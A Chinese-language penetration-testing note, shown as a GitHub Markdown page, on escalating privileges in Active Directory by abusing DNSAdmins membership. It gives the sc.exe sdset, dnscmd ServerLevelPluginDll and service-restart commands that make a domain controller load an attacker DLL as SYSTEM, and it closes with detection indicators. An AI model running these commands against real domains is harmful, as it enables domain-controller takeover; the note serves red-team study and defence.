Skip to content

Latest commit

 

History

History
113 lines (55 loc) · 4.27 KB

TA0004权限升级-DNSAdmin.md

File metadata and controls

113 lines (55 loc) · 4.27 KB

0x00 简介

感染DNSAdmin组用户,为DNS服务配置恶意ServerLevelPluginDll,DNS服务会以system权限加载该Dll,从而达到提权目的。

参考

https://github.com/kazkansouh/DNSAdmin-DLL

Feature, not bug: DNSAdmin to DC compromise in one line

Abusing DNSAdmins privilege for escalation in Active Directory

0x01 DNSAdmin原理

域中DNS遵循[MS-DNSP]: Domain Name Service (DNS) Server Management Protocol协议,该协议提供了一组RPC接口用于远程访问和管理DNS服务器。通常DNS Server是DC,它运行着DNS服务,对应服务名“dns”,进程名“dns.exe”。

image-20210102184724429

image-20210102184906288

如上面文档中提到的,如果指定了ServerLevelPluginDll,DNS服务会加载对应的Dll,并调用该Dll实现的DNS查询函数等。DNSAdmins组有权限配置ServerLevelPluginDll (Domain Admins更加可以,但这样显示不出提权效果了),一旦dll以system权限被加载,即可提权成功;dll中可以实现反弹shell、添加用户到管理员组等命令。

如果Dll加载失败,DNS服务也会启动失败,为此dll中必须实现以下三个函数。

DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery

以下是mimilib.dll相关实现,它会在每次DNS Server收到DNS Query时记录Query内容。也可以在DnsPluginInitializeDnsPluginQuery中加入命令执行等。

image-20210102190020537

0x02 DNSAdmin利用

  1. 配置重启服务权限,参考

默认情况下DNSAdmins中的用户是不能远程停止、开启DNS Server的,需要在DC上为指定用户SID添加权限。

//This will grant `CC`, `LC`, `RP` and `WP` which correlate to `sc` commands: `qc`, `query`, `start`, `stop`
(A;;CCLCRPWP;;;S-1-5-21-700907644-1504022619-419926652-1101)
> sc.exe sdset "dns" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCRPWP;;;S-1-5-21-2475887593-94489213-2292866110-1103)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
PS C:\Users\Administrator> sc.exe sdshow dns

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCRPWP;;;S-1-5-21-2475887593-94489213-2292866110-1103)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
  1. 为DNS服务配置ServerLevelPluginDll

此命令在DNSAdmins用户登录的机器上执行即可,dnscmd.exe不是自带的,需要手动拷贝。因为是调用的DNS RPC 接口,所以DC上DNS服务必须是启动的。

//dll已经位于DNS Server上
dnscmd.exe /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
//dll位于DNS Server可以访问的远程地址上,这里试过\\win10-pc\c$\DNSAdmin-DLL.dll,加载不成功
dnscmd.exe /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll

设置成功后,会生成以下注册表:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll

  1. 重启DNS服务,dll被加载。
C:\> sc \\ringdc-pc stop dns
C:\> sc \\ringdc-pc start dns

也可以参考域渗透——利用dnscmd在DNS服务器上实现远程加载Dll中,直接Pass the Hash,以Domain Admins用户身份重启服务,这样就不需要做第一步了。

0x03 检测

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll

DNS Server Log Event ID 150 for failure and 770 for success

Microsoft-Windows-DNS-Server/Audit Log Event ID 541 for both success and failure.